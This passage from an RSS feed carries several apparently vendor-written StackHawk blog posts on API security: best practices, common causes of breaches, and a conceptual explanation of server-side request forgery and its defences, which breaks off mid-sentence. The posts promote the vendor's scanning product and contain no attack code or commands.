configuration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Encryption&lt;/b&gt;: Protect data confidentiality by employing encryption both when it is stored (at rest) and when it is being transmitted (in transit). Use HTTPS (TLS) for all API communications, and consider encrypting sensitive data at the database level.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rate Limiting and Throttling&lt;/b&gt;: Implement rate limiting and throttling to protect against denial-of-service (DoS) attacks. These mechanisms restrict the number of requests a client can make within a specified timeframe, mitigating the potential impact of such attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-audit-an-in-depth-guide/&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;&lt;u&gt;Security Audits&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; and Penetration Testing&lt;/b&gt;: Conduct periodic security audits and penetration testing to identify and address&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt; &lt;u&gt;vulnerabilities in your API&lt;/u&gt;&lt;/a&gt; proactively. This practice helps ensure that your API remains resilient against evolving threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security by Design&lt;/b&gt;: Integrate security into every stage of the API development process. Treat security as a fundamental requirement rather than an afterthought. Consider following established frameworks like the&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-and-protecting-against-owasp-api10-unsafe-consumption-of-apis/&quot;&gt; &lt;u&gt;OWASP API Security&lt;/u&gt;&lt;/a&gt; Top 10.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Updates and Patching:&lt;/b&gt; Keep your API, its dependencies, and your infrastructure patched and up-to-date. New vulnerabilities are discovered regularly, so staying up-to-date is vital for mitigating risks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;API security is an ongoing process, by following these best practices and remaining vigilant, you can significantly reduce the risk of API attacks and protect your valuable data.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Importance of API Security Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;u&gt;API security testing&lt;/u&gt;&lt;/a&gt; is a critical component of any organization’s cybersecurity strategy. As APIs become more integral to application functionality, they also become prime targets for cyberattacks. Vulnerabilities within APIs can expose sensitive data, disrupt operations, and lead to significant financial and reputational damage.&lt;/p&gt;&lt;p&gt;Security testing of APIs is essential to protect these critical interfaces from potential threats. Without thorough testing, APIs may have flaws that malicious actors can exploit to gain unauthorized access or disrupt services. These risks are not theoretical; breaches involving APIs are becoming increasingly common as attackers recognize the potential for substantial impact.&lt;/p&gt;&lt;p&gt;In addition to preventing breaches, API security testing helps organizations comply with industry regulations and standards that mandate the protection of sensitive data. It also fosters a culture of proactive security, where potential issues are identified and addressed before they can be exploited.&lt;/p&gt;&lt;p&gt;Investing in thorough API security testing is essential for any organization. By prioritizing API security, organizations can protect their operations, maintain customer trust, and secure the long-term success of their applications in the face of continually evolving threats.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Improving API Security with StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; offers a solution for improving API security, enabling developers to efficiently identify and address vulnerabilities. Seamlessly integrating into development workflows, StackHawk automates security testing and provides real-time feedback without compromising productivity.&lt;/p&gt;&lt;p&gt;StackHawk allows thorough testing for a wide range of API vulnerabilities, including those outlined in the OWASP API Security Top 10, ensuring rigorous examination of critical security risks. Its developer-friendly tools deliver clear, actionable feedback, allowing developers to resolve security issues quickly and effectively.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s automation capabilities integrate smoothly into CI/CD pipelines, facilitating early vulnerability detection and making security checks an integral part of the development cycle. With fast, efficient scans, StackHawk minimizes disruption to development while prioritizing security.&lt;/p&gt;&lt;p&gt;By integrating StackHawk into their API security strategy, organizations can enhance their ability to detect and address vulnerabilities, ensuring their APIs remain robust and resilient against evolving threats.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Trends and Threats&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As API threats continue to evolve, it&amp;#39;s essential for API security measures to advance in tandem. Staying informed about emerging trends and threats is crucial for maintaining a strong defense. As APIs become more prevalent and complex, the attack surface expands, increasing the opportunities for exploitation.&lt;/p&gt;&lt;p&gt;Attackers are developing increasingly sophisticated techniques specifically targeting APIs. They exploit business logic flaws and misuse API functionalities to gain unauthorized access or disrupt services. In response, organizations are adopting a &amp;quot;&lt;a href=&quot;https://www.stackhawk.com/blog/embracing-the-future-of-security-with-the-shift-left-maturity-model/&quot;&gt;&lt;u&gt;shift-left&lt;/u&gt;&lt;/a&gt;&amp;quot; approach, integrating security earlier in the development process to identify and address vulnerabilities before they reach production.&lt;/p&gt;&lt;p&gt;Both attackers and defenders are leveraging artificial intelligence and machine learning: attackers to automate and enhance their methods, and defenders to improve threat detection and response. Accordingly, you must have a holistic view of the security environment to effectively prevent API security incidents.&lt;/p&gt;&lt;p&gt;Keeping up with these trends and threats enables organizations to proactively adjust their security strategies, ensuring that APIs remain resilient against the evolving threat landscape.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are essential for modern software, yet their widespread use exposes organizations to significant security risks. The severe consequences of API security incidents, including data loss, financial damage, and reputational harm, underscore the importance of robust API security. Understanding common threats, adopting best practices, and proactively mitigating risks are paramount. Robust authentication, input validation, encryption, and regular security testing are vital components of a comprehensive API security strategy.&lt;/p&gt;&lt;p&gt;API security is a continuous process. To safeguard your assets and ensure the success of your digital initiatives, it is crucial to stay informed, adapt to evolving threats, and consistently prioritize security. To learn more about StackHawk’s approach to API Security, visit StackHawk.com, and &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a free trial&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[5 Common Causes of API Security Breaches and How to Prevent Them]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/5-common-causes-of-api-security-breaches-and-how-to-prevent-them</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;APIs play a fundamental role in modern software development by allowing different applications to communicate and work together. Yet, as the complexity and significance of APIs have increased, they&amp;#39;ve become attractive targets for attackers seeking to find and exploit weaknesses to access confidential information without permission.&lt;/p&gt;&lt;p&gt;In this blog, we&amp;#39;ll cover the common causes of&lt;a href=&quot;https://www.stackhawk.com/blog/defending-against-api-attacks-strategies-for-protecting-your-apis-and-data/&quot;&gt; &lt;u&gt;API security breaches&lt;/u&gt;&lt;/a&gt; and explore some effective methods to boost your security. By understanding the risks and taking proactive measures, you can safeguard your APIs and protect your valuable assets from cyber threats.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;An API, or&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-an-api-a-beginners-guide-to-application-programming-interfaces/&quot;&gt; &lt;u&gt;Application Programming Interface&lt;/u&gt;&lt;/a&gt;, allows different software systems to communicate and share information. They are essential for everything from basic web applications to intricate enterprise systems. Unfortunately, this essential connectivity that APIs provide also makes them vulnerable to attacks if they are not adequately secured.&lt;/p&gt;&lt;p&gt;API security involves a range of practices and technologies designed to protect these interfaces from unauthorized access, data breaches, API security breaches, and other malicious activities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Growing Threat of API Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API attacks are on the rise, with an increasing number of organizations experiencing an API security incident. A successful API hack can expose&lt;a href=&quot;https://docs.stackhawk.com/vulnerabilities/10062/&quot;&gt; &lt;u&gt;Personally Identifiable Information (PII)&lt;/u&gt;&lt;/a&gt; and negatively impact trust between organizations and users.&lt;/p&gt;&lt;p&gt;Cybercriminals are continually refining their strategies, making APIs an increasingly appealing target because of the sensitive data they frequently manage. A successful API attack can lead to data breaches, financial losses, and reputational damage, making API security a top priority for organizations of all sizes.&lt;/p&gt;&lt;p&gt;Several factors contribute to the increasing threat of API attacks. The&lt;a href=&quot;https://wifitalents.com/statistic/api/#:~:text=Yet%2C%20with%20a%20staggering%20113,in%20place%20for%20digital%20transformation.&quot;&gt; &lt;u&gt;increase in API usage&lt;/u&gt;&lt;/a&gt;, their frequent exposure to public access, and the complexity of modern API architectures contribute to an environment full of potential vulnerabilities. The rise of automation and&lt;a href=&quot;https://www.linkedin.com/pulse/rise-ai-powered-cyber-attacks-how-machine-learning-being-abhirup-guha-lphxc/?trk=public_post&quot;&gt; &lt;u&gt;AI-powered attack tools&lt;/u&gt;&lt;/a&gt; makes it easier for attackers to scan for and exploit weaknesses at scale, and this constantly evolving threat landscape can create a sort of arms race between security vendors and malicious actors.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Causes of API Breaches&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are essential connectors for modern applications, but their accessibility and power can make them attractive and vulnerable targets. Let’s explore some common security risks that lead to breaches.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insecure API Design&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt;&lt;u&gt;A secure API begins with a robust design&lt;/u&gt;&lt;/a&gt;. Neglecting security at the outset introduces vulnerabilities, making the API susceptible to exploitation. APIs should adhere to the&lt;a href=&quot;https://www.paloaltonetworks.com/cyberpedia/what-is-the-principle-of-least-privilege&quot;&gt; &lt;u&gt;principle of least privilege&lt;/u&gt;&lt;/a&gt;, revealing only the minimum necessary data. Overly permissive APIs can inadvertently leak sensitive information and lead to an API security breach.&lt;/p&gt;&lt;p&gt;Strong authentication and proper authorization mechanisms are key access controls. Without them, unauthorized parties can easily gain entry and exploit the system. Handling these components involves not just operating the system but also securing it. For example, poor management of API keys can cause major security breaches and financial losses. Hackers can take advantage of these weak points to access sensitive systems without permission, potentially leading to more severe and harmful API security incidents.&lt;/p&gt;&lt;p&gt;Rigorous input validation and sanitization are necessary to prevent injection attacks and malicious code execution. Addressing these design flaws early in the development process significantly strengthens API security. Security should be a foundational design principle, not an afterthought.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insufficient Security Measures&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Even a well-designed API can be compromised without adequate security measures. Common vulnerabilities include weak authentication, where easily guessable passwords or basic methods offer insufficient protection. Implementing strong password policies and multi-factor authentication can enhance security significantly.&lt;/p&gt;&lt;p&gt;Inadequate encryption is another critical issue. Failure to encrypt data, either in transit or at rest, exposes it to unauthorized access. Robust encryption protocols are essential for protecting sensitive information. Insufficient logging and monitoring can allow malicious activity to go undetected. Comprehensive logging and real-time monitoring are necessary for the timely identification and response to threats.&lt;/p&gt;&lt;p&gt;Addressing these security gaps is essential for securing APIs and requires both sound design and the implementation of effective security measures to protect against various threats and maintain the integrity and confidentiality of digital services.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Misconfigured and Outdated APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs demand continuous maintenance and attention.&lt;a href=&quot;https://www.theregister.com/2022/06/20/captial_one_wire_fraud/&quot;&gt; &lt;u&gt;Misconfigurations and outdated software introduce exploitable vulnerabilities&lt;/u&gt;&lt;/a&gt;, undermining even the strongest security measures. Misconfigurations, such as incorrect security settings or exposed endpoints, create weaknesses attackers can exploit.&lt;/p&gt;&lt;p&gt;Regular configuration reviews and audits help identify and resolve these issues. Outdated software leaves APIs susceptible to known exploits. Attackers actively target systems running outdated software, making regular updates essential for staying ahead of threats.&lt;/p&gt;&lt;p&gt;Proactively addressing misconfigurations and ensuring APIs are up-to-date is crucial for mitigating risks and safeguarding your data. API security requires sound design, robust measures, ongoing maintenance, and vigilance.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Preventing API Security Breaches&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let’s look at some proactive strategies that will help you safeguard your APIs against potential threats and generate a strong security posture. Implementing a multi-layered defense, encompassing secure design principles, robust security measures, and continuous testing and governance, will significantly reduce your API’s vulnerability to attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Secure API Design and Development&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Building security into your APIs from the beginning is crucial. Adhering to the &lt;b&gt;principle of least privilege&lt;/b&gt; minimizes potential damage by granting users only the permissions they need. Robust &lt;b&gt;input validation and sanitization&lt;/b&gt; act as gatekeepers, filtering out malicious data before it can wreak havoc.&lt;/p&gt;&lt;p&gt;Comprehensive &lt;b&gt;error handling and logging&lt;/b&gt; provide invaluable insights into potential security incidents, aiding in swift identification and response. Following &lt;b&gt;secure coding practices&lt;/b&gt; throughout the development process is fundamental in preventing vulnerabilities from being introduced into your codebase.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Security Governance and Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Maintaining robust API security demands continuous attention and a proactive approach. Regular&lt;b&gt; security testing&lt;/b&gt;, including penetration tests and vulnerability scans, serves as your frontline defense, uncovering potential weaknesses before attackers can exploit them.&lt;/p&gt;&lt;p&gt;Complementing periodic&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-audit-an-in-depth-guide/&quot;&gt; &lt;b&gt;&lt;u&gt;security audits&lt;/u&gt;&lt;/b&gt;&lt;/a&gt; ensure your APIs adhere to established policies and industry best practices, minimizing the risk of oversight. &lt;b&gt;Continuous monitoring&lt;/b&gt; and logging act as your API&amp;#39;s early warning system, detecting suspicious activity in real-time so you can respond swiftly.&lt;/p&gt;&lt;p&gt;Should an incident occur, a well-defined &lt;b&gt;incident response plan&lt;/b&gt; ensures a coordinated and effective response, minimizing damage and downtime.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How StackHawk Works: Your API Security Partner&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk is an API security testing platform designed to help developers identify and remediate vulnerabilities early in development. By integrating with your existing development workflow, StackHawk enables you to continuously test your APIs for security issues, ensuring that vulnerabilities are identified and addressed before they can be exploited.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Automate API Discovery and Security Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Deploy StackHawk&amp;#39;s&lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt; &lt;u&gt;API Discovery&lt;/u&gt;&lt;/a&gt; capabilities to keep a precise inventory of every API within your attack surface. With every API identified, integrate StackHawk into your&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt; &lt;u&gt;CI/CD pipeline&lt;/u&gt;&lt;/a&gt; to trigger automated security scans with every code change, providing comprehensive coverage of your API endpoints and identifying vulnerabilities such as injection flaws, broken authentication, and sensitive data exposure.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Identify and Prioritize Risks&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Generate detailed&lt;a href=&quot;https://docs.stackhawk.com/web-app/reports.html&quot;&gt; &lt;u&gt;security reports&lt;/u&gt;&lt;/a&gt; with clear, actionable insights, including vulnerability severity levels, exploitability, and remediation guidance, allowing you to focus on the most critical risks and allocate resources effectively.&lt;/p&gt;&lt;h4&gt;&lt;a href=&quot;https://www.stackhawk.com/resources/shift-left-maturity-model/&quot;&gt;&lt;b&gt;&lt;u&gt;Shift Left on Security&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Empower developers to proactively address security issues by providing real-time feedback and vulnerability alerts, promoting a security-first mindset, and reducing the cost and complexity of fixing vulnerabilities later in the development cycle.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;StackHawk Secures APIs&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;By&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;incorporating StackHawk&lt;/u&gt;&lt;/a&gt; into your development process, you can proactively protect your APIs from attacks, reduce the risk of breaches, and ensure your valuable data&amp;#39;s confidentiality, integrity, and availability.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As APIs become increasingly central to modern software development, they also become attractive targets for cybercriminals. By understanding the common causes of API breaches and implementing robust security measures, you can safeguard your APIs and protect your valuable assets from unauthorized access and data breaches.&lt;/p&gt;&lt;p&gt;API security is an ongoing process that requires continuous vigilance, regular testing, and a proactive approach to identifying and addressing vulnerabilities. By incorporating security into every stage of the API development lifecycle and leveraging tools like StackHawk, you can build and maintain secure APIs that enable innovation while protecting your data and users. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up today for a 14-day free trial.&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding and Protecting Against API7: Server-Side Request Forgery]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/understanding-and-protecting-against-api7-server-side-request-forgery</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;Server-Side Request Forgery (SSRF) is a critical web application vulnerability that often flies under the radar. It allows attackers to misuse your application’s functionality to access resources they shouldn’t, potentially leading to data leaks, unauthorized system access, and even remote code execution. A Web Application Firewall is essential in preventing SSRF attacks as part of a broader application security strategy.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll break down the intricacies of SSRF, covering its various forms, the ways attackers exploit it, and most importantly, the strategies you can employ to protect your applications. Whether you’re a developer, security professional, or simply interested in web security, understanding SSRF is crucial for keeping your systems safe.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is SSRF?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;SSRF is a vulnerability where attackers manipulate your application into making requests it wasn’t designed to make. This often involves exploiting features that fetch data from external sources. By selecting a target URL, attackers can manipulate URLs to access or modify restricted resources, tricking your application into sending requests to internal systems, external services, or back to your server.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How it Works&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Imagine your application has a function to retrieve product images from a user-supplied URL. An attacker could modify this URL path to point to a sensitive internal server, potentially leaking confidential company information.&lt;/p&gt;&lt;p&gt;Attackers can target internal servers to exploit the lower traffic and carry out malicious actions such as&lt;a href=&quot;https://www.avast.com/business/resources/what-is-port-scanning#pc&quot;&gt; &lt;u&gt;port scanning&lt;/u&gt;&lt;/a&gt;, accessing sensitive data, and compromising internal services. In another scenario, they might try to access a service running on a different port on your server, which could reveal vulnerabilities or even allow for remote code execution.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Impact of SSRF Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A successful Server-Side Request Forgery (SSRF) attack can have devastating consequences, from exposing sensitive data and granting unauthorized access to internal systems, to enabling full system compromise through remote code execution:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Leaks:&lt;/b&gt; SSRF can expose sensitive information, such as user data, authentication credentials, or internal system details. This can lead to identity theft, fraud, and other malicious activities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unauthorized Access:&lt;/b&gt; Attackers can use SSRF to bypass firewalls and access internal systems that are not exposed to the public internet. This can give them a foothold within your network and allow them to launch further attacks. Additionally, attackers can exploit SSRF vulnerabilities to gather sensitive data from internal networks, mapping them and compromising services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/vulnerabilities/10048/&quot;&gt;&lt;b&gt;&lt;u&gt;Remote Code Execution (RCE)&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; In the worst-case scenario, SSRF can be exploited to execute arbitrary code on the server, this gives the attacker complete control over the application and its underlying infrastructure, allowing them to steal data, install malware, or even take down the entire system.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The impact of an SSRF attack goes beyond technical issues. It can result in financial losses due to downtime, legal liabilities due to data breaches, and damage to your organization’s reputation. Therefore, it’s crucial to take proactive measures to prevent and mitigate SSRF risks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of SSRF Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Server-Side Request Forgery (SSRF) isn&amp;#39;t a single, uniform vulnerability. It comes in various forms, each with unique risks and requiring specific defenses to safeguard your application.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Basic SSRF:&lt;/b&gt; This is the simplest form, where an attacker directly manipulates a URL to access internal resources or external services. For example, they might change a URL in your application to point to a sensitive internal server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Blind SSRF:&lt;/b&gt; In this case, the attacker doesn’t receive a direct response from the server, making it harder to detect. However, they can still infer the success of their attack by observing side effects, such as delays in the application’s response or changes in the server’s logs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SSRF with Authentication Bypass:&lt;/b&gt; Some applications have authentication mechanisms to protect internal resources. However, if these mechanisms are not properly implemented, an attacker can bypass them using SSRF. This can give them access to sensitive data or functionality that they shouldn’t have.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SSRF to Local File Inclusion:&lt;/b&gt; This type of attack involves manipulating a request to read or include local files from the server’s file system. Attackers could gain access to configuration files, source code, or other sensitive information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SSRF to Port Scanning:&lt;/b&gt; Attackers can leverage SSRF to scan ports on internal systems, potentially discovering open services or vulnerabilities that can be exploited.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Understanding these different types of SSRF attacks is crucial for developing effective mitigation strategies. By recognizing the specific threats, you can tailor your defenses to protect your applications.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;SSRF Attack Vectors&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Server-side request forgery vulnerabilities can be exploited through various attack vectors, depending on the application’s design and functionality:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Image Processing Libraries:&lt;/b&gt; Applications that process images from user-provided URLs are particularly vulnerable. Attackers can craft URLs that point to internal resources or external services, potentially triggering SSRF attacks. They can manipulate URL paths to exploit vulnerabilities in server functionality, targeting applications that import or read data from URLs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;File Upload Functionality:&lt;/b&gt; If an application allows users to upload files and the server fetches or processes them from a URL, it can be exploited for SSRF. Attackers can upload a file containing a malicious URL that the application will later access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Web Proxies and Caching Systems:&lt;/b&gt; If an application uses a web proxy or caching system, attackers can manipulate the URLs used by these systems to trigger SSRF attacks. They might inject a malicious URL into the cache which will then be fetched by other users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;APIs and Third-Party Integrations:&lt;/b&gt; APIs and third-party integrations often involve fetching data from external sources, making them potential targets for SSRF. Attackers can manipulate the API requests or integration parameters to trigger SSRF attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;URL Redirection:&lt;/b&gt; If an application allows URL redirection based on user input, attackers can exploit this to redirect requests to internal resources or external services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation Flaws:&lt;/b&gt; Applications that don’t properly validate or sanitize user input are vulnerable to SSRF. Attackers can inject malicious URLs or payloads into input fields, leading to SSRF attacks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Understanding these common attack vectors is essential for identifying and mitigating SSRF risks. You can significantly reduce your application’s vulnerability to SSRF attacks by securing these potential entry points.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Prevent SSRF Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Preventing SSRF attacks requires a multi-layered approach that combines secure coding practices, network configuration, and input validation:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation:&lt;/b&gt; The most fundamental defense is to validate and sanitize any user-supplied input that could be used to construct URLs or network requests. This involves implementing a whitelist of trusted domains and IP addresses, parsing and normalizing URLs, and sanitizing input to remove or escape potentially harmful characters. While blacklisting known malicious sources can be helpful, it&amp;#39;s less effective than whitelisting due to the constantly evolving nature of threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Network Segmentation:&lt;/b&gt; Isolate internal systems and services from the public internet whenever possible. This reduces the attack surface and makes it harder for attackers to reach sensitive resources even if an SSRF vulnerability is exploited.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Disable Unnecessary Protocols:&lt;/b&gt; If your application doesn’t require certain protocols like &lt;b&gt;file://&lt;/b&gt;, &lt;b&gt;gopher://&lt;/b&gt;, or &lt;b&gt;dict://&lt;/b&gt;, disable them to prevent attackers from using them in SSRF attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Least Privilege Principle:&lt;/b&gt; Follow the principle of least privilege by granting your application only the minimum necessary permissions to access external resources.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Web Application Firewalls (WAFs):&lt;/b&gt; Deploy a WAF to monitor and filter traffic to your application. WAFs can detect and block suspicious patterns in requests, including those that might indicate an SSRF attack.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Security Testing:&lt;/b&gt; Perform regular security assessments, including penetration testing and code reviews, to identify and address SSRF vulnerabilities before attackers can exploit them.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By implementing these preventive measures, you can significantly reduce the risk of SSRF attacks and protect your applications and their underlying infrastructure.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Example Attack Scenario&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To illustrate the potential impact of a Server-Side Request Forgery (SSRF) attack, let&amp;#39;s examine a hypothetical scenario involving a seemingly benign feature on an e-commerce platform.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Vulnerable Application&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An e-commerce platform uses a third-party service to generate product images based on user-provided parameters. The application sends these parameters to the service via an HTTP request, and the service returns the generated image.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Attack&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An attacker discovers that they can manipulate the parameters in the request to include a URL pointing to an internal server. This server hosts sensitive data, such as customer credit card information and order details.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Exploit&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The attacker crafts a malicious request that includes the URL of the internal server. The application sends the request to the third-party service, which then fetches the remote resource from the internal server and returns it to the attacker.&lt;/p&gt;&lt;p&gt;This demonstrates how a seemingly harmless feature, like image generation, can be exploited for malicious purposes if not properly secured against SSRF attacks. It highlights the importance of understanding the potential attack vectors and implementing robust preventive measures to protect your applications and their users.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How StackHawk Can Help Detect and Prevent SSRF&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to traditional DAST solutions, SSRF detection was usually not an option. Luckily, StackHawk goes beyond traditional DAST solutions by actively testing for SSRF (Server-Side Request Forgery)&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;StackHawk is a modern, powerful DAST tool&lt;/u&gt;&lt;/a&gt; designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing&lt;/b&gt;: Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities&lt;/b&gt;: Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments&lt;/b&gt;: Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans&lt;/b&gt;: Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software 